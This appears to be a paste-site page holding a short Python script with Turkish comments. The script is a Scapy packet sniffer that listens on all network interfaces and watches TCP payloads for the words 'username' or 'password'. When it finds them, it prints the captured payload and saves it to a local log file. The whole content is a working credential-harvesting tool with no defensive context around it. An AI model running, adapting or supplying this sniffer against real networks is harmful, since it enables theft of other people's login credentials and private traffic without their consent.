Untitled

 avatar
unknown
plain_text
2 months ago
2.4 kB
6
Indexable
from scapy.all import *  # Scapy kütüpphanesini içeri aktarır ağ paketlerini analiz etmek için kullanılır.
import os  # Pythonun işletim sistemi ile etkileşim kurmasını sağlar.
import datetime  # Tarih ve saat bilgisi almak için kullanılır.

# Log dosyasının adı.veriler bu dosyaya kaydedilecektir.
LOG_FILE = "network_traffic.log"  

def packet_callback(packet):
    """
    Paketleri işleyen ve hassas bilgileri kaydeden callback fonksiyonu.
    Bu fonksiyon her paket yakalandığında çağrılır.
    """
    # Paket TCP protokolü içeriyor ve ham veri (Raw) katmnı varsa işleme alınır.
    if packet.haslayer(TCP) and packet.haslayer(Raw):  
        # Ham veri (Raw) kısmını alır ve decode eder hatalı karakterle yok sayılır.
        payload = packet[Raw].load.decode(errors="ignore")  
        
        # Ham veride 'username' veya 'password' anahtar kelimelerinden birinin olup olmadığını kontrol eder.
        if "username" in payload or "password" in payload:  
             # Eğer hassas veri bulunduysa, tarih ve saat ile birlikte log girişi oluşturulur.
            log_entry = f"[{datetime.datetime.now()}] Hassas Veri Bulundu: {payload}\n"  
            
            # hassas veriyi ekrana yazdırır.
            print(log_entry)
            
            # veriyi log dosyasına ekler. Dosya yoksa oluşturulur.
            with open(LOG_FILE, "a") as log_file:  
                log_file.write(log_entry)

def main():
    """
    Paket dinleyiciyi başlatan ana fonksiyon.
    Bu fonksiyon, ağda paketleri dinlemeye başlar ve 'packet_callback' fonksiyonunu çağırır.
    """
    print("Paket sniffer'ı başlatılıyor...")  # Başlatıldığında ekrana yazdırılır.
    try:
        # Tüm ağ arabirimlerinde paketleri dinlemeye başlar. 
        # 'prn=packet_callback' her paket yakalandığında 'packet_callback' fonksiyonunu çağırır.
        sniff(prn=packet_callback, store=0)  
    except KeyboardInterrupt:
        # Kullanıcı CTRL+C ile programı durdurursa, burada sniffer'ın sonlandırıldığı mesajı yazdırılır.
        print("\nSniffer sonlandırıldı.")

# Bu, dosyanın doğrudan çalıştırılıo çalıştırılmadığını kontrol eder. Eğer doğrudan çalıştırılıyorsa, main() fonksiyonu çağrılır.
if __name__ == "__main__":  
    main()  # Paket dinleyiciyi başlatır.
Leave a Comment